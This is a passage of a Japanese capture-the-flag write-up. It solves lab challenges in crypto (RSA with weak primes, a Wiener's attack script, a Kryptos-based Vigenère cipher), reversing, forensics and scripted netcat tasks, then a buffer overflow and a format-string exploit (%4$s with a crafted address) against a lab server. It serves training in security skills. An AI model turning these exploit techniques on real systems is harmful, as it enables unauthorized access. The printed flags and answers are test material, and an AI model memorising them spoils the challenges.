n = 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257
e = 65537
c = 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335

p = 3058517013146002381763962882964790715736519
q = 4372642466716249946441875327733923056149624303
d = inverse(e, (p-1)*(q-1))
print("d = " + str(d))
m = pow(c, d, n)
print("plain text is " + str(long_to_bytes(m)))

実行結果

$ python3 solve.py
d = 4897557609358873156657999039608506066811736904039482454770352974851826510011931551945473
plain text is b'flag{weak_rsa_can_be_decrypted!}'
          

FLAG: flag{weak_rsa_can_be_decrypted!}


vul_rsa_02 (250)

あなたは引き続き組織の定期研修に参加しています。教官は昨日と同じ人物です。「早く帰れると言ったな。あれは嘘だ」昨日の信じられない光景が脳裏に蘇ります。RSA 暗号の禁止事項くらいは覚えておくようにと再び RSA 暗号の課題が出題されました。もはや誰も信じていませんがどうやら暗号文 c を解くことができればそれだけ早く帰れるようです。 以下の RSA 暗号を解読してフラグを入手してください。 c: 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681
n: 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
e: 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137

eが非常に大きすぎです。この場合相対的に秘密鍵dが小さくなるのでWiener's Attackという攻撃方法が使えます。 こちらにあったコードを使って解けました。

from fractions import Fraction
from Crypto.Util.number import inverse, long_to_bytes

n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137
c = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681


def continued_fractions(n, e):
    cf = [0]
    while e != 0:
        cf.append(int( n / e ))
        N = n
        n = e
        e = N % e
    return cf

def calkKD(cf):
    kd = list()
    for i in range(1, len(cf) + 1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1 / (tmp + j)
        kd.append((tmp.numerator, tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n // prev) // 2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a, b):
    if a * a < 4 * b or a < 0:
        return None
    c = int_sqrt(a * a - 4 * b)
    p = (a + c) // 2
    q = (a - c) // 2
    if p + q == a and p * q == b:
        return (p, q)
    else:
        return None

def wiener(n, e):
    kd = calkKD(continued_fractions(n, e))
    for (k, d) in kd:
        if k == 0:
            continue
        if (e * d -1) % k != 0:
            continue
        phin = (e * d -1) // k
        if phin >= n:
            continue
        ans = calcPQ(n - phin + 1, n)
        if ans is None:
            continue
        return (ans[0], ans[1])

p, q = wiener(n, e)
print("p = " + str(p))
print("q = " + str(q))

d = inverse(e, (p-1)*(q-1))
print("d = " + str(d))
m = pow(c, d, n)
print("plain text is " + str(long_to_bytes(m)))

実行結果

$ python3 rsa_for_large_e.py
p = 903296723535367266060988005858251165436301698040255270546009258271726621105072654951
q = 347999059955453396487784535198377540330545703583036100411648705038922144575641923073
d = 19780253153570454414022314122363673676673
plain text is b'\x02my\xa6\xfb\xa2t\x19X\xce\x82F(U\xa9n\xc4\xdc\x16#\x13<\xfc4\x15y\x92\x0b\xef\xc0.\xb7\xb9\xe0\xa3\xbb\xb8r\x00flag{197_Michael_J_Wiener_673}'
          

FLAG: flag{197_Michael_J_Wiener_673}


WEARECIA (300)

家に帰ると黒い封筒が郵便受けに入っていました。封筒の中身は英字が羅列されたメモが一枚。青銅色の紙に白いインクで書かれており右下には同じインクで WEARECIA と記載されています。どうやら暗号文のようです。暗号文を解析してメッセージを受け取る必要がありそうです。 以下の暗号文を解読し、隠されたメッセージを見つけてください。フラグは得られたメッセージを flag{} で囲んで回答してください。
EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJYQTQUXQBQVYUVLLTREVJYQTMKYRDMFDRCDNKFRHHMKVLLTGBMFDUTMALDUMKYQTGLWLWCM

見た目的に換字式暗号ですがCryptoカテゴリ最後の問題が単換字式とは思えなかったので多換字式だろうと予想しました。 連続した同じ3文字が何度か登場しているのでそれらの間隔を測ると全て10の倍数であることがわかります。 このことから鍵長10のヴィジュネル暗号かなと思いましたが、10文字の鍵を総当たりするのは厳しいです。
問題文に"WEARECIA"と書いてあったので"CIA"で検索すると、これはクリプトスという彫刻作品に刻まれているヴィジュネル暗号であることがわかりました。 4部分の暗号のうち3つ目までは解読済みですが、4つ目が未だ解読されていない暗号だそうです。 今回与えられた暗号文は前半部分がクリプトスの1つ目の暗号と全く一緒で、後半にクリプトスにはない文字列がくっついています。
EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJYQTQUXQBQVYUVLLTREVJYQTMKYRDMFD + RCDNKFRHHMKVLLTGBMFDUTMALDUMKYQTGLWLWCM
したがって後半部分をクリプトスの1つ目の暗号の復号方法と同じようにすれば良さそうです。 復号法についてはここのサイトに詳しく書かれていました。
クリプトスの1つ目の暗号はヴィジュネル暗号ですでに解読されているため鍵("PALIMPSEST")も判明しています。 ただ通常のヴィジュネル暗号と変換テーブルが違うので手動で目を凝らしながら復号しました。
復号した結果は以下。
"FLAGISWEARETHENATIONSFIRSTLINEOFDEFENSE"

FLAG: flag{WEARETHENATIONSFIRSTLINEOFDEFENSE}


Rev

Helloworld (50)

気が付くと椅子に座っていた。簡単なテストから始めよう。ガラスを隔てて真正面に白衣の女が立っている。君が優秀であることを示してくれ。声は天井のスピーカーから聞こえてくるようだ。心配はいらない。そばにある端末が起動する。どちらにしてもすぐに済む。 添付されたファイルを解析してフラグを得てください。
ファイルは「infected」というパスワード付き ZIP になっています。

Windowsはよくわからないですけどコマンドプロンプトで実行すればいいです。
引数にflagと指定すればflagが出力されます。

C:>helloworld.exe
Nice try, please set some word when you run me.
C:>helloworld.exe s
Good job, but please set 'flag' when you run me.
C:>helloworld.exe flag
flag{free_fair_and_secure_cyberspace}

FLAG: flag{free_fair_and_secure_cyberspace}


ELF (80)

監獄というより研究室のような施設だった。見る角度が大切なんだ。ガラスで隔てたられた部屋を白衣の男が歩いている。すべてを疑ってみることから始める。そばにある端末の電源が入る。手を動かして検証するというのは実に大事なことだ。 添付されたファイルを解析してフラグを入手してください。

問題名からELFファイルだろうと予想できますが、そのままでは実行できません。
ファイルをバイナリエディタで開くと先頭4バイトが58 58 58 58となっていてELFファイルと認識できなくなっています。
ELFファイルの先頭4バイトは7f 45 4c 46ですので直してから実行します。

# ./elf
flag{run_makiba}

FLAG: flag{run_makiba}


Passcode (120)

その部屋はまぶしいほどの明かりで照らされていた。ここからが本番だ。白衣の人物が書類に目を落としながらつぶやくように話している。結果がすべてという訳ではないが。そばにある端末が起動する。いい結果を期待している。 添付されたファイルを解析してフラグを得てください。

実行するとpasscodeの入力を求められます。 正しいpasscodeである必要があるようです。

# ./passcode
Enter the passcode: a
Invalid passcode. Too short.

Ghidraのでコンパイル結果の抜粋が以下です。 20150109と入力した場合にflag{20150109}と出力するみたいです。

  printf("Enter the passcode: ");
  iVar1 = __isoc99_scanf("%255[^\n]%*[^\n]",&local_108);
  if (iVar1 == -1) {
    uVar2 = 1;
  }
  else {
    __isoc99_scanf(&DAT_0010202c);
    if ((char)local_108 == '\0') {
      printf("Invalid passcode.");
    }
    else {
      sVar3 = strlen((char *)&local_108);
      if (sVar3 < 8) {
        printf("Invalid passcode. Too short.");
      }
      else {
        sVar3 = strlen((char *)&local_108);
        if (sVar3 < 9) {
          iVar1 = strcmp((char *)&local_108,"20150109");
          if (iVar1 == 0) {
            puts("The passcode has been verified.\n");
            printf("Flag is : flag{%s}",&local_108);
          }
          else {
            printf("Invalid passcode. Nice try.");
          }
        }
        else {
          printf("Invalid passcode. Too long.");
        }
      }
    }

FLAG: flag{20150109}


Forensics

paint_flag (50)

要調査対象者の端末からあるファイルを押収することに成功しました。どうやら外部の協力者に機密データを送ろうとしたようです。組織内の監視網をかいくぐるため、一見すると機密データが含まれていなかのように加工がされているようです。ファイルを解析して機密データを取得してください。 添付されたファイルを解析し、フラグを入手してください。

.docxファイルはzipファイルと同じ形式らしいです。
拡張子を.zipに変えて解凍するとflag.pngが出てきます。

FLAG: flag{What_m4tters_is_inside;)}


Mail (50)

あなたはメールデータの調査を依頼されました。組織内の要員が規定に反して組織内のデータを個人利用のクラウドサービスにバックアップとしてコピーしていたもののようです。メールデータに機密情報が含まれていないか、調査してください。 添付されたファイルを解析し、フラグを得てください。

zipファイルを解凍して得られたフォルダの中のSent-1ファイルにzipファイルがbase64エンコードされて含まれていました。
stay_in_touchでやった方法と同じようにすればgoodjob.pngが得られます。 画像内にflagがあります。

FLAG: flag{You've_clearly_done_a_good_job_there!!}


Deletedfile (80)

そのファイルを削除した瞬間にそれが誤りであることをあなたは悟ります。どうやら重要なファイルが削除されてしまったようです。あなたはディスクのイメージファイルの入手に成功しました。削除されてしまったファイルを復元し、窮地を脱してください。 添付されたファイルを解析し、フラグを得てください。

使い方はよくわかっていませんがAutopsyを使って開けました。

FLAG: flag{nosce_te_ipsum}


browser_db (100)

調査対象者のパソコンから Web ブラウザの情報を取得しました。ファイルを解析して調査対象者が怪しい行動をしていないか調査するのが今回のあなたの仕事です。 添付されたファイルを解析し、フラグを得てください。

与えられたデータベースファイルのmoz_placesテーブル内にありました。

FLAG: flag{goosegoosego}


Programing

ZZZIPPP (80)

あなたはあるファイルの解析作業を依頼されました。何重にも入れ子になった箱のようなファイルのようで、その中に組織にとって重要な機密情報が入っているようです。 添付されたファイルを解析してフラグを入手してください。

zipファイルを解凍するとまたzipファイルが現れて...を繰り返す問題です。
が、自分の使っているMacOSの Big Surではデフォルトで再起的に解凍してくれたのでダブルクリックするだけで終わりました..
最終的にflag.txtが得られます。

FLAG: flag{loop-zip-1989-zip-loop}


echo_me (120)

山登りが趣味だという同僚が疲れた様子で話しかけてきます。山でヤッホーと声を出せば、いつでもヤッホーと返ってくる。そんなあたりまえを支えるやまびこさんの気持ちって、どんな感じなんでしょうね。その眼には若干の狂気が宿っているようにも思えました。あなたは同僚を狂気から救うため、解析作業を手伝うことにしました。 以下にアクセスしてフラグを得てください。
nc 10.1.1.10 12020

ncコマンドでアクセスすると以下のように数字が表示され、その数字を入力するとまた数字が表示され...という感じです。 たくさん繰り返すとflagが得られる感じかと予想します。

$ nc 10.1.1.10 12020
==========
echo me: 61009161
==========
61009161
Correct!

==========
echo me: 71558191
==========
          

webshellでpython3及びpwntoolsが利用可能だったのでこれを使ってスクリプトを書きました。 pwntoolsの使い方が下手です。

$ python3
>>> from pwn import *
>>> import re
>>> def b(p):
...     ret = p.recvline()
...     print(ret)
...     if "Correct" in ret.decode("utf-8"):
...             ret = p.recvline()
...             print(ret)
...             ret = p.recvline()
...             print(ret)
...     ret = p.recvline()
...     print(ret)
...     str = re.search(r'echo me: (.*)',ret.decode('utf-8'))
...     ret = p.recvline()
...     print(ret)
...     p.sendline(str.group(1))
...
>>> p = remote('10.1.1.10',12020)
[x] Opening connection to 10.1.1.10 on port 12020
[x] Opening connection to 10.1.1.10 on port 12020: Trying 10.1.1.10
[+] Opening connection to 10.1.1.10 on port 12020: Done
>>> while True:
...     b(p)
...
b'==========\n'
b'echo me: 22253828\n'
b'==========\n'
b'Correct!\n'
  .
  .
  .
b'echo me: 37649904\n'
b'==========\n'
b'Correct!\n'
b'\n'
b'flag{Hellow_yamabiko_Yoo-hoo!}\n'

FLAG: flag{Hellow_yamabiko_Yoo-hoo!}


EZZZIPPP (150)

あなたは再びあるファイルの解析作業を依頼されました。何重にも入れ子になった箱のようなファイルですが、今度は鍵までかかっているようです。ファイルを解析し中に封じ込められている機密情報を取得してください。 ファイルを解析してフラグを入手してください。

今度はzipファイルを解凍するたびに鍵つきzipファイルと鍵が.txtファイルで出てきます。
以下のようなスクリプトを書きました。

#!/bin/bash
for ((i = 1000; i >= 1; i--))
do
    pass=$(< pass.txt)
    rm pass.txt
    unzip -P $pass flag$i.zip
done      

実行するとflag.txtが出てきます。

FLAG: flag{bdf574f15645df736df13daef06128b8}


deep_thought (250)

計算勝負をしましょう。普段は寡黙に働き続けているサーバが不意に話しかけてきました。あなたは珍しいこともあるものだと思いつつも、そのサーバからの挑戦を受けることにしました。 以下にアクセスしてフラグを得てください。
nc 10.1.1.10 12010

echo_meと同じ感じですが今度はそのまま返すのではなく計算して答えを返す必要があります。

$ python3
>>> from pwn import *
>>> import re
>>> def a(p):
...     ret = p.recvline()
...     if "Correct" in ret.decode("utf-8"):
...             ret = p.recvline()
...             print(ret)
...             ret = p.recvline()
...             print(ret)
...     ret = p.recvline()
...     ans = eval(ret.decode("utf-8").strip("\n"))
...     p.sendline(str(ans))
...
>>> p = remote('10.1.1.10',12010)
[x] Opening connection to 10.1.1.10 on port 12010
[x] Opening connection to 10.1.1.10 on port 12010: Trying 10.1.1.10
[+] Opening connection to 10.1.1.10 on port 12010: Done
>>> while True:
...     a(p)
...
b'\n'
b'[ Q2 ]\n'
  .
  .
  .
b'[ Q50 ]\n'
b'\n'
b'flag{__42__}\n

FLAG: flag{__42__}


Pwn

tkys_let_die (100)

瑠璃色の扉を有する荘厳な門が目の前にあった。めずらしく後輩が家に招待してくれるというので訪問することにしたあなた。うちの家は特別に許可を受けた人物でないと入れないもので。後輩はそういうとすみませんねと静かに門を閉じる。招かれても許可はもらえていないのか。どうやら後輩の家に入るにはこの門を自力で突破する必要がありそうです。 添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。
nc 10.1.1.10 13020

アクセスすると以下のように名前の入力を求められます。
入力の27文字目から6文字分がGate is の後の文字列を上書きしています。
元の文字列がcloseだったのでopenにしたら開きました。

$ nc 10.1.1.10 13020

                                  {} {}
                          !  !  ! II II !  !  !
                       !  I__I__I_II II_I__I__I  !
                       I_/|__|__|_|| ||_|__|__|\_I
                    ! /|_/|  |  | || || |  |  |\_|\ !
        .--.        I//|  |  |  | || || |  |  |  |\\I        .--.
       /-   \    ! /|/ |  |  |  | || || |  |  |  | \|\ !    /=   \
       \=__ /    I//|  |  |  |  | || || |  |  |  |  |\\I    \-__ /
        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \|\ !  }  {
       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\I {____}
 _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \|\=|  |__!__!_
 _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
 -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |
  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |
 _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_
 -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
 ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

You'll need permission to pass. What's your name?
> abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
Gate is ABCDEF.
Goodbay abcdefghijklmnopqrstuvwxyzABCDEF.

$ nc 10.1.1.10 13020

                                  {} {}
                          !  !  ! II II !  !  !
                       !  I__I__I_II II_I__I__I  !
                       I_/|__|__|_|| ||_|__|__|\_I
                    ! /|_/|  |  | || || |  |  |\_|\ !
        .--.        I//|  |  |  | || || |  |  |  |\\I        .--.
       /-   \    ! /|/ |  |  |  | || || |  |  |  | \|\ !    /=   \
       \=__ /    I//|  |  |  |  | || || |  |  |  |  |\\I    \-__ /
        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \|\ !  }  {
       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\I {____}
 _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \|\=|  |__!__!_
 _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
 -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |
  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |
 _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_
 -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
 ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

You'll need permission to pass. What's your name?
> abcdefghijklmnopqrstuvwxyzopen

 =============================

     GREAT! GATE IS OPEN!!

 >> Flag is flag{Alohomora} <<

    *-*-*-*-*-*-*-*-*-*-*-*

 =============================

ハリーポッターだ

FLAG: flag{Alohomora}


1989 (200)

脆弱性を調査し、フラグを入手してください。
nc 10.1.1.10 13030
この設問では Linux ターミナルを使用します。

接続するとフラグのアドレスが与えられ、入力を求められます。
フォーマットストリングアタックかなと思い、とりあえず以下のように入力してみます。
フォーマットストリングアタックについてはこちらのサイトがわかりやすかったです。

$ nc 10.1.1.10 13030
===========================================================
   _______          ________            __ ____  _  _
  / ____\ \        / /  ____|          /_ |___ \| || |
 | |     \ \  /\  / /| |__     ______   | | __) | || |_
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |
  \_____|   \/  \/   |______|           |_|____/   |_|

==========================================================

        |
flag    | [0x5657f060] >> flag is here <<
        |

Ready > abcd %x %x %x %x %x %x %x
Your Inpur : abcd ff882450 ff882858 5657c306 64636261 20782520 25207825 78252078

先頭のabcdがスタックの4番目にasciiコード変換されて格納されていることがわかります。
つまりこの場所にflagのアドレスを格納できれば、そこからflagの中身をみれます。
格納される値はasciiコード変換されているため、flagのアドレスをasciiコードとして文字列に変換した上で入力します。(リトルエンディアンに気をつける)
flagのアドレスは毎回変わるようでしたので以下の場合を書くと、 flagのアドレス0x56565060の逆順60 50 56 56をasciiコードとみなして文字列に変換した`PVVを入力します。
後ろの%4$sはスタックの4番目に入っている値をアドレスとして文字列表示します。

$ nc 10.1.1.10 13030
===========================================================
   _______          ________            __ ____  _  _
  / ____\ \        / /  ____|          /_ |___ \| || |
 | |     \ \  /\  / /| |__     ______   | | __) | || |_
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |
  \_____|   \/  \/   |______|           |_|____/   |_|

==========================================================

        |
flag    | [0x56565060] >> flag is here <<
        |

Ready > `PVV %4$s
Your Inpur : `PVV flag{Homenum_Revelio_1989}

FLAG: flag{Homenum_Revelio_1989}